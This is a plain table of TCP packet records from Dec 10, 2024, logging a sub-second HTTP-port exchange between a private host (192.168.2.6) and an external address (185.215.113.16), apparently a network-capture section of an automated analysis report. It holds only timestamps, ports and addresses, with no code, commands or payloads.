Dec 10, 2024 02:50:29.575319052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.576252937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.576397896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.576447010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.576482058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.577440023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.577552080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.578140974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.578567982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.578694105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.578737020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.579691887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.579796076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.579835892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.580835104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.580934048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.580979109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.581909895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.586754084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.599211931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.715195894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.715290070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.715332985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.715712070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.715820074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.715857983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.716815948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.716939926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.717024088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.717962980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.718070030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.718107939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.719080925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.719177008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.719274998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.720227957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.720323086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.720370054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.721317053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.721438885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.721546888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.722444057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.722558975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.722608089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.723577023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.723694086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.724261045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.724703074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.724833012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.725825071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.725871086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.725934982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.726973057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.727035999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.727072954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.727118969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.728080988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.728190899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.728235960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.729187965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.729347944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.729393959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.730345964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.730439901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.730474949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.731466055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.731592894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.732263088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.732635975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.732739925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.733705044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.733757973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.733822107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.734814882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.734869003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.734906912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.735939980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.735989094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.736051083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.736248970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.737073898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.737183094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.737225056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.738208055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.738322973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.738365889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.739325047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.739492893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.739536047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.740442991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.740564108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.740647078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.741580009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.741692066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.741736889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.742692947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.742786884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.742862940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.743812084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.743930101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.743966103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.745039940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.745177031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.745219946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.746052980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.746175051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.746335983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.747180939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.747298956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.747337103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.747580051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.748310089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.748442888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.748486996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.749439001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.749547958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.749584913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.750577927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.750667095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.750714064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.751696110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.751804113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.752258062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.752799034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.752931118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.752966881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.753932953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.754048109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.754086018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.755052090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.755153894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.755204916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.756201982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.756302118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.756342888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.757301092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.757436991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.757472038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.758429050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.758554935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.758671999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.759560108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.759682894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.759721994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.760694027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.760797024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.760874033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.761830091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.761938095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.761982918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.762943029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.763050079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.763096094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.764055014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.764152050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.764254093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.765165091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.765275002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.765312910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.766303062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.766416073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.766452074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.767452955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.767560959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.767607927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.768604994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.768727064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.768769979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.769694090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.769860983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.769908905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.770824909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.770910978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.770950079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.771915913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.772023916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.772264004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.773040056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.773158073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.773255110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.774139881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.822765112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.828278065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.907296896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.907408953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.907474995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.907871962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.907984972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.908029079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.908987999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.909073114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.909143925 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.910145044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.910269022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.910307884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.911216021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.911326885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.911381960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.912355900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.912477970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.912514925 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.913839102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.913850069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.913889885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.914602995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.914700985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.914736032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.915698051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.915818930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.916250944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.916845083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.917007923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.917056084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.917954922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.918081045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.918128967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.919150114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.919344902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.919403076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.920245886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.920372009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.920488119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.921364069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.921479940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.921565056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.922478914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.922596931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.922637939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.923597097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.923726082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.923769951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.924724102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.924840927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.924881935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.925889015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.926009893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.926094055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.926973104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.927124977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.927165985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.928112030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.928224087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.928263903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.929219007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.929311037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.929389000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.930330992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.930433989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.930474997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.931432962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.931590080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.932256937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.932617903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.932708025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.933706045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.933743000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.933830023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.934864044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.934899092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.934972048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.935005903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.935945034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.936064959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.936253071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.937050104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.937222004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.938008070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.938214064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.938343048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.938390017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.939357996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.939457893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.939536095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.940442085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.940560102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.940603971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.941559076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.941673994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.941718102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.942717075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.942850113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.942884922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.943799973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.943938017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.943981886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.944940090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.945071936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.945108891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.946058989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.946177959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.946222067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.947205067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.947319031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.947370052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.948226929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.948343992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.948448896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.948489904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.949462891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.949552059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.949594975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.950586081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.950714111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.951708078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.951754093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.951800108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.951843023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.952805042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.952923059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.952967882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.953948975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.954061031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.954515934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.955070019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.955204010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.955248117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.956198931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.956316948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.956386089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.957339048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.957510948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.957552910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.958456039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.958549976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.958627939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.959558964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.959685087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.959728003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.960688114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.960804939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.960866928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.961816072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.961962938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.962091923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.962934017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.963052034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.963089943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.964078903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.964194059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.964250088 CET	49752	80	192.168.2.6	185.215.113.16
